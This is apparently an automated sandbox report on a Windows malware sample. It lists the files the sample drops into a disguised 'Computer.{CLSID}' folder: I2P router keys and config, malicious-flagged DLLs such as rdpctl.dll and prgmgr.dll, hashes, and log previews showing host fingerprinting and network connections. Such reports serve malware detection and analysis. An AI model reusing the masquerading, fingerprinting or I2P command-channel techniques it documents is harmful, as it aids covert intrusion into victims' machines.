SHA-512:	25F11A8262B5A2F59BD6C9D8673B5AD5A140EAE8C007244810B2924EB08B5CF54AE19E61BE5139319877278D11868BBD85BD2E6C67F5FAD4E2A458E2844EBC0C
Malicious:	false
Preview:	## Configuration file for a typical i2pd user.## See https://i2pd.readthedocs.io/en/latest/user-guide/configuration/.## for more options you can use in this file...## Lines that begin with "## " try to explain what's going on. Lines.## that begin with just "#" are disabled commands: you can enable them.## by removing the "#" symbol...## Tunnels config file.## Default: ~/.i2pd/tunnels.conf or /var/lib/i2pd/tunnels.conf.# tunconf = /var/lib/i2pd/tunnels.conf..## Tunnels config files path.## Use that path to store separated tunnels in different config files..## Default: ~/.i2pd/tunnels.d or /var/lib/i2pd/tunnels.d.# tunnelsdir = /var/lib/i2pd/tunnels.d..## Path to certificates used for verifying .su3, families.## Default: ~/.i2pd/certificates or /var/lib/i2pd/certificates.# certsdir = /var/lib/i2pd/certificates..## Where to write pidfile (default: /run/i2pd.pid, not used in Windows).# pidfile = /run/i2pd.pid..## Logging configuration section.## By default logs go to stdout with level 'inf

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.su3

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	75977
Entropy (8bit):	7.8696816318811385
Encrypted:	false
SSDEEP:	1536:07klNoOPsg0evjAYqVwbLhhOW6xwz0U0paUgfVnsHk:EkPNPmevj5qabL9ydgNz
MD5:	E53A179BB45CD7EDD8371740D65076BD
SHA1:	6B74034746E12C2058614A9DF671C31B79EAA7E9
SHA-256:	C33D095DBFFC43047A7930EB0811B11208D166FCFD612D8ED32556A6CE82B9DB
SHA-512:	767105F8B88CD8C9E4E2BD9188C8174D5FD86D370D2E6A79B0E10EF4A79E994F24F8DB7A79C481B97F69DBEA8E311590E3B2D31E804EC5F572A3C37CF3EBC457
Malicious:	false
Preview:	I2Psu3................&.................1733281205......reseed@cnc.netPK........./.Y.o2........;...routerInfo-eXkkiGm0Hskmt-0nixI7Fd2~NX5o5Laplk3k9Fh6Jr0=.dat..\|f........59/}.w...............X.O..Q#.....M;`vv...oZ..;...U....gm..w._.y.......g.\....T..9<....v{...].K..Z..`....W..kX..7iu..bi..)..<.E.{.g..Q..v...RU....f.:~U-r.v.0.?I.c..S.W"U...P..9..!..=+....oY..gY....m;t...n..mu.y...$q...,.?.._..v.n.z..m......Q....x....\..f.M.E31.[.xu._....K...:.1.i.i"..{c:>.YU.x...Gl.F.+......<..t..r....M....t....iy=....c0wWG.....-.lW.{.....w..\.g.2.0..1.......L..P....j.X..XPl..db.i..f`f....Y.o....T.P....._..d..f....h._..ik..ZQ``.ehnlldajd`..2.....C..`B.&.f.....:.n........)>.i...Q.I.a.f...N..ai.Ynn..f.I&. -..:.y.y^....N...N....~e!.^a...y.ai.n..i..`-F.:.UNf.e.&I..N...y...y.....>%n&en.......fU`..$..\|dinjb`.$ B@.......X.Y.B..l9,,....L,...mu....s3....."...r<+.=...C.."...R.."LS..3.+...0..2.Y...../.9.......&`..-M.,.K\+...M2....}.#.........+s..".K.M`.20.@.3 .5/

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\3rbwjviovpvlss4v5vg6yucxk5grzke5s7a6hwvtd5djkqwysxiq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.606056825540447
Encrypted:	false
SSDEEP:	12:6TELO4RGAwjfyDuJra3T6p7ZdFFphN4yKuWEp2/N6:6TESTzOx+p7Zjx3A/A
MD5:	BB7115DCC8A875F5FE525E0BCBB8598E
SHA1:	2C6172818B3FE892023C7E4BA7DB452DDEAF5460
SHA-256:	0D69E40BDED9B383911AC3D5872191974A95AF3AEF78F67ADC05F2FB3BE55BF2
SHA-512:	F64C3DD8DA7F977CA5E285570DC3DD59D28FB95BAE67BBF19A945396527C3C189ABEEFF9560CEF7F61A02B617E16E721F155DE1CD6C1D11845B77FDD186CD7F5
Malicious:	false
Preview:	.c.....=.......Yl....b,.?m.}.4O.4.+Au.c.....l_B...j.{.?9..f..uD....U..z..8../e#..n.....`7.p.\|....($..J;Q..U4+A.G........_U\...)."..(...ug..m.l....u.]..H........ lr.\0....[.\..`.......C.../G.+.>....1..<l6i.P.....?wJ]..G.._....U...C)...]e.z..U#....\|\|EM.?....7..;X..aO..l.I.....iq..}L..U.....0x.w.d......=.).X......{...L...,...W.c>.v....wT.c....?.....uNS.w6......g...J-Rpx.a....[...%....\V.w9.w[.;._..w/M..4.0A.X.![...S..ZM..=..4J.^.e.:.Pkl8.R..r$C...7.R...Z......h.h.\.$.F..Z...5..p..W.Y.r

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\73dgiurxbvpdyy6mhowkfkagl333wom66crad6c3wxcux4d2l4xq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.557821836618357
Encrypted:	false
SSDEEP:	12:SpiPTEJTsq+/EbVJsratqMu3Nhj2FZ+EhKivEY:SQPTEpCe4AIXvEAivl
MD5:	D83C021597EEBCE39A95DFF1C978100B
SHA1:	64C0BB0741323CB6CE1048A46252316382E79DAB
SHA-256:	2935B87EF7E254010083DB699D50F599B4D61D0800AE42D910EDF742B2004AB2
SHA-512:	0506658136A793DE61261954DDF2443C9E6AF8413CCE2B58F105FCA171069BB045E9CEABE5502799F230F2EAC0138700D19067B96DC7A7B4C54E2F59A9E87B2E
Malicious:	false
Preview:	.k.v.D..w+]..@O.x..P.%...H.]'... b...}vD3../x"3..r.......S..{@5R(...."#...0.h#.....M..d...".=.?`..Lg...)G.P..!@v.'B.+YH....)%[.d...'w\|j=..d.c.....8.e..KT....5..1.l..e8....).=.MR&mnzw....x.;R ....n-.\|.l._....u+?.a..D.YT%..\..L....M.I.o.....v...v..I.<.QoT-..T...F?...8..&.c.... .-.#.qn).5+...Y...2.;@..d..Z...)}4.....IR...}.S.7K.j$M+^.R.Nu...c..k...!......A.c..<.;S.Q...=(7./g.."..]2c..B.MW#.q...55...Q......7.xl6^._v..^@$L.Z.\|...}.dq..f.A[.C..x..m.'.U.0ef/....3..S....._.>......e9..G..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\dl6mdxzdbpybd2a5x3srma7llg3je2wt34jzd7xvc73nthkaszba.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.587937094214244
Encrypted:	false
SSDEEP:	12:gMLxkJAdkLPHqf+9A4sdRwOZuL4VeXhf7f2JFvSau+OG:JSKdwfqW9A4Ac9VqJpSaCG
MD5:	946780F5391EDFB85103F7861B78C282
SHA1:	887C3F962BBC12145850B60989121D18A5FD2438
SHA-256:	59FD827654BAE1B69DB59D0D7B3624B78515DF2DCEA153E98403F1424721B302
SHA-512:	8E04FF1007D54796B6A5BDAC273B3F9F87999884B3AF7C839A6B5302EFD914145C64185E0164DDFDC386FD1BA0C8C4B1925D56E0AC3393D5EEF0784E02F1EEDB
Malicious:	false
Preview:	....(...n..uj...@.WEFZ.......f......9...".I50...{...v.i..)..?bm..b .....u.!.-99.=J.<...u....[$....{....0.Z}.m..........s+DMF...+J...By.......M.^..S....C.....?.l.Rs..m..h^...D..1.$.iv.D..UF..m.3..h~G.T..H{H.>..*..\.T....%\|..i.9..ZB.1~x.6.z..W`._/..B.!.....t.....Tfd.).O..{y.?..H..^...#......Y.P9.#.')7...z..K8k..?.\|.$PA>..>v.qJ....=6..irD.<t.R.I>..4..w..UD$Rw.....k&(.8.:.Hi/J.I.r..`2.G...b...I7..S/4..H5.97...c=.F............. M.R.7j.c..M!0-.9.F...l..!....s......-..a..U........JFA

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\kn6tqgmwgxjglpnkbecaft6dhk6xtfbo4j5tpabkojw7dlqwrdoq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.565338382383913
Encrypted:	false
SSDEEP:	12:Fx4I7MQFTy/clewppYxzhuI00nYUmgowIFhYTeJwUTj7o1W:4I7MQVy/cppYNbtnwgoHFh+ChTj7o1W
MD5:	9694810F5F86A5D5357E28095DB53639
SHA1:	B8E1E90A832A73382CC45DDC0E5014A4B59DB612
SHA-256:	AE631F9FE96E6C303BC0F424377BF548D9FB44B5D5C2868885CB1D35E77DD472
SHA-512:	B76BB6D608D0AC5EF764A4B7208B2448BB54BAEE45FBC3AC07D3196592AA9F85F4DD90B12717058EF468C20EC4856D525830D0F65E14AA08C502D67CC9C8FCE2
Malicious:	false
Preview:	..@.i..)_..oD.WL.l$e..h.....''..J.wlC...._.=...U....\.6$}R47..J..:.:...}...D5.f..GU!..(....;...k."^ ..B.0#.g]..Z.>.V.....Z.Ey.&.3.Hc..].....(K..@...&..M..R....?.@./. ;. %....h.Lu....'...e3.)CK.+.@..GQ.I....K-v.k~c...pl~%...V<B...I..4...U.LxSgB(.s.3......;......'.......#ke.........LCA.I..........`..la.....W..}Z..D..e'....k...T4>?..-.g._.@EOy.nK.].;.d.T...-@6.........o.?}g.P<..7$r.... '.....o.......k.....Z......o.H'............9.-V..y.......X,."...y.....}.e....7+..4`..%.R-.[.j..V...`..n..2

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\ntcp2.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	6.137492001110314
Encrypted:	false
SSDEEP:	3:yM7FGtnf+3M1mcxGF3JtEiG:Z733Mcb3EiG
MD5:	40426B272F5F9746E475BC60587E4AD5
SHA1:	F444EE94302C2B1DC47C2875DEE4DC9DE54FC894
SHA-256:	A46845BE312BD7F0AC0D287569C1BB86821D57A4ACC0DDA179C4DA43E7CC82D1
SHA-512:	E5A80DCAD147B0AFC2BB4EA427E2E9A7DDF8F0132891EF34AC312AFAC8E41F5D754DB14EEB635E0589C426AE00EF17A26BE3612333090ED0810736843DD6DA60
Malicious:	false
Preview:	8...!..8.'+1...i.S...LB.........d..X...{w..&.t.%..#`..]....FTY.({.......#

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\router.info

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	721
Entropy (8bit):	6.6765125652697055
Encrypted:	false
SSDEEP:	12:r1MTqqqqqqqqqP6Msy/pznnL8JVmyaEoIEPiGv:rOTqqqqqqqqqP6MNBnmDov
MD5:	42981CD0425487F54154988A1FC6B498
SHA1:	D36FB7BF6AA80984CB3909B597EE01FFB6F6EB4A
SHA-256:	D5B0E5DBF32DB3BBFA12E1A479180309FE99573EE1B2E532BB420161BA9564C0
SHA-512:	315D97F3E9487D89ED18BB3AB7D7567BF399A9054ADCB857A924944F6BA107C1D5F154CD3DD4933135B22663E25B4E2FDF811A6D77836B1EA5C6993C2D5EEA06
Malicious:	false
Preview:	......i>......*J...uO....T{...{..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M.C..7.B..eR~V.j}......I..:.'.............7.jX...........NTCP2.@.caps=.4;.s=,OPT11aEh9O04xL8nKzGntN6kadNT9A2DTEKOHMCqBR4=;.v=.2;..........SSU2.q.caps=.4;.i=,6NZ1ZUF0XzTJH4T9cNRX54Q9rWEJlXWb8iDjDcznlS8=;.s=,w0jflIrRnNICclGsvmO-E8wPKLuMcSjXPoeraOMSiH8=;.v=.2;..,.caps=.LR;.netId=.2;.router.version=.0.9.60;.`.`U"&..}.=.Gm..F.MbJ'..uB......@n....!@.+....A;N..r..u...

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\router.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	455
Entropy (8bit):	6.138550964074035
Encrypted:	false
SSDEEP:	6:r1UngzZIlGgzZIlGgzZIlGgzZIlGgzZIlGgzZIlGgzZIlGgzZIlGgzZIlGgzZIl8:r1MTqqqqqqqqqP6MzeFF
MD5:	EA558EA4FD7C9A9750DB5F528838FF11
SHA1:	1FF39A749C41A19EBB9DF74CCFED128A91F7960D
SHA-256:	24E1BF74C03FBE8D48F23DBA3433F5740C22E471D9DFE343C39404888B928ECB
SHA-512:	FD388535E0C6B20203F8CAB0264D125B31E08A200720CC8437730D22417E2679D0F6B6798FB830A7F0409CDDD8C55C22242F1177CF85DFC73E363765A7E0B18D
Malicious:	false
Preview:	......i>......*J...uO....T{...{..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M..0...K.2. .=.\|...4.}.<....@M.C..7.B..eR~V.j}......I..:.'.........p.#...4.p#....S$_.nL.<.+ojh..jP...Jo...,3zN.Ph.7.Iw..T\|.s:..}

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\ssu2.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	96
Entropy (8bit):	6.207205599611886
Encrypted:	false
SSDEEP:	3:xk5bStwYfhtBkYqJUI0gFYbRKQr0CwK:xk9SBkYqJggFYb840K
MD5:	20B2B98A967C49662C19ABED42EBDB9D
SHA1:	804C454104D85770EE003433C7E879E4CD709DA6
SHA-256:	4254DD0702BD9A7F3C25936D1B0FD65183AC7BCBF873201F02932C11AD25F036
SHA-512:	CDC0261D8FD72805573C4E7E5E1B8763027BD374E1C49252801DA5010BD63454D453159C0D271FCFE786C8203F4A39266FD8E167BE0293FA6A138DACBFA1CC87
Malicious:	false
Preview:	.H.....rQ..c....(..q(.>..h....x...z.N>.!=:..&.dzY.}.l.z.T~...m..ueAt_4....p.W.=.a..u.. ..../

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9146880
Entropy (8bit):	6.674868432808522
Encrypted:	false
SSDEEP:	196608:DiRu5DnWLX6Cs3E1CPwDvt3uF8c339CME:DiRsCKCsU1CPwDvt3uFd9CME
MD5:	676064A5CC4729E609539F9C9BD9D427
SHA1:	F77BA3D5B6610B345BFD4388956C853B99C9EB60
SHA-256:	77D203E985A0BC72B7A92618487389B3A731176FDFC947B1D2EAD92C8C0E766B
SHA-512:	4C876E9C1474E321C94EA81058B503D695F2B5C9DCA9182C515F1AE6DE065099832FD0337D011476C553958808C7D6F748566734DEEE6AF1E74B45A690181D02
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........."...).t]......R..0........................................P............`... .......................................z..t... ...,............p..?...........p...............................`m.(....................*...............................text...(r]......t].................`..`.data.........]......x].............@....rdata..`>...@^..@....^.............@..@.pdata...?....p..@...^p.............@..@.xdata...t....t..v....t.............@..@.bss....`Q...@z..........................edata...t....z..v....z.............@..@.idata...,... ......................@....CRT....`....P......................@....tls.........`......................@....reloc.......p......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	6.205377670389132
Encrypted:	false
SSDEEP:	768:y5rUJUohYhdi9PbahfxaxQo9uYN/kpYBbMQGwryimzgvmak7EoKk1dhJJY9V/Sbf:digoZax39NN/DBgQVmzg5kF/ctIN
MD5:	BB070CFBD23A7BC6F2A0F8F6D167D207
SHA1:	BDB8961F8AFB999AECE60BF1EF3E49E8E2349F7B
SHA-256:	C0860366021B6F6C624986B37B2B63D460DD78F657FC504E06F9B7ABBFDC2565
SHA-512:	93D052675636FBE98204EF8521B9F10F8A0CBCAC40E8835AD8249DAFD833C29B7F915A898671B21064D4ED6D04DA556D9D3647D03EB93232ADB2ACD2D7DC1F8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................*.....X.................@....................................-.....`... .................................................P............`..X............................................B..(....................................................text...X...........................`..`.data...............................@....rdata...Q.......R..................@..@.pdata..X....`.......0..............@..@.xdata.......p.......:..............@..@.bss....P................................idata..P............D..............@....CRT....`............V..............@....tls.................X..............@....reloc...............Z..............@..B................................................................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4379
Entropy (8bit):	5.3537078850672035
Encrypted:	false
SSDEEP:	96:idHwW8J9VLyHzHH0H20HaSHomHu5SHSkmHSm5SHFmHOn5SHvSHhOmHX5SHpPR1zs:AzOTuTn0W06SLO5Suz5Skc5SPS/35SJM
MD5:	C6401B39F275E4F2BC3540EEBE96AEC6
SHA1:	30FB5AEFF27A4DDA562C94C7AAE85C5F57D8C212
SHA-256:	8BE17A7F07D957415F37B26F29D3EA82D412F4B50A70A6167689E794BB015F62
SHA-512:	CAA510C4E00E2BD5302CB65FF181DF27DC466FCCC030E9265760218E6ECE30BA3E2299417C5EE51280B5336FAC4D1792D09CCFFB97C26A52C142047B50684C88
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log)..[I] (debug_init) -> Done..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=934d772a)..[I] (sys_init) -> Done(sys_uid=c76a8f08934d772a,sys_os_ver=10.0.19045.0.0)..[E] (package_install) -> Failed(pkg_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\,tgt_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\,err=00000003)..[I] (fs_file_read) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl

Download File

Process:	C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe
File Type:	data
Category:	dropped
Size (bytes):	456
Entropy (8bit):	3.2341395630162877
Encrypted:	false
SSDEEP:	12:Ml8Pi7t8+d/fQfjfEWNfElsfghFfShFfgmSem4emzYWr:k8APd/oj8i8ls0FSFgID7r
MD5:	40AB00517F4227F2C3C334F1D16B65B4
SHA1:	F8D57AF017E2209B4FB24122647FD7F71B67C87C
SHA-256:	4BAF4B78D05A28AF7DEE7DBBCE2B4EDF6053D9239C1756C932BE9F2FEEE4EF85
SHA-512:	75D74306F043B864295F09A60C19A43494C226664733C99318989CE5C22CB9395BB407FB5C8C0268AD9184A79813304ED5FC943A6B53DB54F5F225CDA31650E3
Malicious:	false
Preview:	C.o.m.p.u.t.e.r...{.2.0.d.0.4.f.e.0.-.3.a.e.a.-.1.0.6.9.-.a.2.d.8.-.0.8.0.0.2.b.3.0.3.0.9.d.}.....D.:.A.I.(.D.;.;.F.A.;.;.;.B.U.).(.A.;.;.F.A.;.;.;.B.A.).(.A.;.O.I.C.I.I.D.;.F.A.;.;.;.B.A.).(.A.;.I.D.;.F.A.;.;.;.S.Y.).(.A.;.O.I.C.I.I.O.I.D.;.F.A.;.;.;.C.O.).(.A.;.O.I.C.I.I.O.I.D.;.F.A.;.;.;.S.Y.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.I.U.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.S.U.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.S.-.1.-.5.-.3.).....

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105984
Entropy (8bit):	6.285421743969757
Encrypted:	false
SSDEEP:	1536:BQrD6CCk73WUJ/2WEvooF8VohjBdmaKqYdpFXaRQSCYA8CSs8qgu06wCYA8CSs8V:BA6sDl/2WEvo0DipFXaRQO
MD5:	6E01ED70D02CE47F4D27762A9E949DEE
SHA1:	32B9199EBBD7891CF0091B96BF3B2C9303AB7B7A
SHA-256:	EFB9B3D4356071EE8FE66979140E7435371EC668088A68786C6FDCEDF29D7376
SHA-512:	B21C8F79553EE513F6C48EFA618C20FB82CBC77EDE95579C28C21D8BB433B93D108CEF442B48ECBDABD0B06AA5C8AEDC8B26316167D1793A0E972B38D4210854
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y........................................@............`... .........................................^.......................T............0..h...............................(.......................`............................text...............................`..`.data........ ......................@....rdata..Pc...0...d..................@..@.pdata..T............n..............@..@.xdata...............x..............@..@.bss.... ................................edata..^...........................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....reloc..h....0......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4940
Entropy (8bit):	5.29136499790954
Encrypted:	false
SSDEEP:	96:idHuN8J9VLr70He5555555555o55555555555555D:AONOTf70+5555555555o55555555555h
MD5:	49656B68BFF8175EBB4C7DCF41B24478
SHA1:	C3DF786695550FF65525BB954B10D2A020DDBD7D
SHA-256:	06C8EFD08247B4B3B616B805E4002E559BF6E48F855B3111FC9E48DF442B5616
SHA-512:	669EA6862D911F3B4962FCC47703A7DD3FC21A5AA83E3CD3C7341DBACE02D95A30831CE4618BA12D4E94ACFDE910B828C538B9D6370DA07E254A9859A663F46E
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=934d772a)..[I] (sys_init) -> Done(sys_uid=c76a8f08934d772a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ff8ba4fa8a0)..[I] (tcp_connect) -> Done(sock=0x3c0,host=7

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129536
Entropy (8bit):	6.2852879161990645
Encrypted:	false
SSDEEP:	1536:UmeFYyUJdEqzx2LVJ4ngXsNXGRqnbxeGqS/h0E0P3j4NBtRLBhBr:UZUJdhxCJ4ngg46weh0dr4vnV
MD5:	88E6178B0CD434C8D14710355E78E691
SHA1:	F541979CAD7EE7C6D8F2B87A0F240592A5DC1B82
SHA-256:	7B40349481AD6C522A23FB3D12D6058EC0A7C5B387348FB4AE85135EE19C91A4
SHA-512:	C4330A9EE1E69785420AABCFD1991AAAEB0F1764EB7E857F0C86161F61E1FFD467B458A2D458D3C55BB76D00F26FAC481D026443AB0796D0AEF38BF06CD84B8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."....<..........Y.........,...................................../....`... ...................................... ..^....0..D............................p..l...............................(...................p5...............................text....:.......<..................`..`.data........P.......@..............@....rdata.......`.......B..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^.... ......................@..@.idata..D....0......................@....CRT....X....P......................@....tls.........`......................@....reloc..l....p......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4753
Entropy (8bit):	5.4440687959784535
Encrypted:	false
SSDEEP:	96:idHeN8J9VLoDNVDNVDN2DNVDNVDNVDNVDNVDNVDNVDNVDNVDND:A+NOTePPIPPPPPPPPPD
MD5:	196434F541505FEC30FD2275A3151AD2
SHA1:	43FFE2BEB86F3772D577ED7FAD4C7974F1213C82
SHA-256:	A7E9A3EA3F86531FDD310F71C6F32D36641EB7C21F8C27D3317ADBE5FF36EF2F
SHA-512:	CE8CBF6FA409D424AA1137E5E5005CE3589EF46C05E230683403503A236D224E7DBF59D1A45AE7369781E8C62EBEF9E9F1435E7E28F645A642308781348AAB22
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=934d772a)..[I] (sys_init) -> Done(sys_uid=c76a8f08934d772a,sys_os_ver=10.0.19045.0.0)..[I] (scm_init) -> Done..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (proxy_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ff8b919

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\referrer

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:9:9
MD5:	006F29D8E822B9241020AEC2495EF819
SHA1:	6510BEB08A14B6BCC74D32031C1B19AA07169CF1
SHA-256:	69FF245F90727BBEFA5B1F82E2429FF74F31A6A5385B5129A2FE3378DCF200F1
